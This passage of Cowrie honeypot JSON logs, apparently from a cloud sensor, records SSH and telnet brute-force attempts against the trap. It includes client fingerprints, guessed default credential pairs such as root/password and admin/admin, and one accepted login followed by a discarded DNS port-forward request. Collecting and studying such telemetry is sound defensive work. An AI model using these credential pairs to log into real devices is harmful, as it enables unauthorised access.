sh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:23.837692Z","src_ip":"103.228.69.212","session":"0f23d1522346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":32570,"dst_ip":"10.17.0.5","dst_port":23,"session":"af15b5f0a3fa","protocol":"telnet","message":"New connection: 154.110.11.213:32570 (10.17.0.5:23) [session: af15b5f0a3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:24.053298Z"}
{"eventid":"cowrie.login.failed","username":"stuser","password":"stuser","message":"login attempt [stuser/stuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:24.778883Z","src_ip":"103.228.69.212","session":"0f23d1522346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:26.009768Z","src_ip":"103.228.69.212","session":"0f23d1522346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.32042646408081,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:42.280438Z","src_ip":"185.26.126.47","session":"2ceba062dd2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43568,"dst_ip":"159.203.135.109","dst_port":22,"session":"67405912061d","protocol":"ssh","message":"New connection: 159.203.92.129:43568 (159.203.135.109:22) [session: 67405912061d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:47.233635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:47.238149Z","src_ip":"159.203.92.129","session":"67405912061d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:47.242594Z","src_ip":"159.203.92.129","session":"67405912061d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoqian","password":"aoqian123","message":"login attempt [aoqian/aoqian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:47.251712Z","src_ip":"159.203.92.129","session":"67405912061d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:48.256857Z","src_ip":"159.203.92.129","session":"67405912061d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45736,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc6f87c492a","protocol":"ssh","message":"New connection: 87.251.64.176:45736 (10.17.0.5:22) [session: 2bc6f87c492a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.126568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.129997Z","src_ip":"87.251.64.176","session":"2bc6f87c492a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.225205Z","src_ip":"87.251.64.176","session":"2bc6f87c492a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.513992Z","src_ip":"87.251.64.176","session":"2bc6f87c492a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.612355Z","session":"2bc6f87c492a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.709359Z","src_ip":"87.251.64.176","session":"2bc6f87c492a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:51.808238Z","src_ip":"87.251.64.176","session":"2bc6f87c492a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.43.147.196","src_port":33192,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc9e0855ba1a","protocol":"telnet","message":"New connection: 212.43.147.196:33192 (10.17.0.5:23) [session: bc9e0855ba1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:55.802426Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:55.813315Z","src_ip":"212.43.147.196","session":"bc9e0855ba1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.01932668685913086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:13:55.821638Z","src_ip":"212.43.147.196","session":"bc9e0855ba1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":38304,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe5da832efe","protocol":"ssh","message":"New connection: 103.228.69.212:38304 (159.203.135.109:22) [session: fbe5da832efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:24.035695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:24.040314Z","src_ip":"103.228.69.212","session":"fbe5da832efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:24.274604Z","src_ip":"103.228.69.212","session":"fbe5da832efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"Password1","message":"login attempt [sysadmin/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:25.241510Z","src_ip":"103.228.69.212","session":"fbe5da832efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:26.477755Z","src_ip":"103.228.69.212","session":"fbe5da832efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50486,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d15dec32e6f","protocol":"ssh","message":"New connection: 159.203.92.129:50486 (159.203.135.109:22) [session: 5d15dec32e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:31.846030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:31.850754Z","src_ip":"159.203.92.129","session":"5d15dec32e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:31.855388Z","src_ip":"159.203.92.129","session":"5d15dec32e6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aos2006","password":"aos2006","message":"login attempt [aos2006/aos2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:31.865463Z","src_ip":"159.203.92.129","session":"5d15dec32e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:32.874912Z","src_ip":"159.203.92.129","session":"5d15dec32e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.43.147.196","src_port":42196,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a8bd368439","protocol":"telnet","message":"New connection: 212.43.147.196:42196 (10.17.0.5:23) [session: b2a8bd368439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:43.838516Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zte521","message":"login attempt [root/Zte521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:43.849433Z","src_ip":"212.43.147.196","session":"b2a8bd368439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.018398761749267578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:43.856809Z","src_ip":"212.43.147.196","session":"b2a8bd368439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.43.147.196","src_port":33958,"dst_ip":"10.17.0.5","dst_port":23,"session":"628a13812e40","protocol":"telnet","message":"New connection: 212.43.147.196:33958 (10.17.0.5:23) [session: 628a13812e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:47.860647Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"factorypwd","message":"login attempt [root/factorypwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:47.870944Z","src_ip":"212.43.147.196","session":"628a13812e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.017220020294189453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:47.877743Z","src_ip":"212.43.147.196","session":"628a13812e40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59274,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9aa3774a1d3","protocol":"telnet","message":"New connection: 185.26.126.47:59274 (159.203.135.109:23) [session: a9aa3774a1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:48.661042Z"}
{"eventid":"cowrie.session.closed","duration":9.57067346572876,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:14:58.231602Z","src_ip":"185.26.126.47","session":"a9aa3774a1d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"b67cbcdb6a5a","protocol":"ssh","message":"New connection: 210.79.142.221:53130 (10.17.0.5:22) [session: b67cbcdb6a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:06.713612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:06.721161Z","src_ip":"210.79.142.221","session":"b67cbcdb6a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:06.964752Z","src_ip":"210.79.142.221","session":"b67cbcdb6a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"admin","message":"login attempt [www/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:07.966395Z","src_ip":"210.79.142.221","session":"b67cbcdb6a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:09.212718Z","src_ip":"210.79.142.221","session":"b67cbcdb6a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":48746,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c311c36f0e4","protocol":"ssh","message":"New connection: 69.6.221.248:48746 (159.203.135.109:22) [session: 5c311c36f0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:11.009539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:11.014401Z","src_ip":"69.6.221.248","session":"5c311c36f0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:11.128354Z","src_ip":"69.6.221.248","session":"5c311c36f0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123","message":"login attempt [user7/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:11.614643Z","src_ip":"69.6.221.248","session":"5c311c36f0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:15:12.732362Z","src_ip":"69.6.221.248","session":"5c311c36f0e4","protocol":"ssh"}
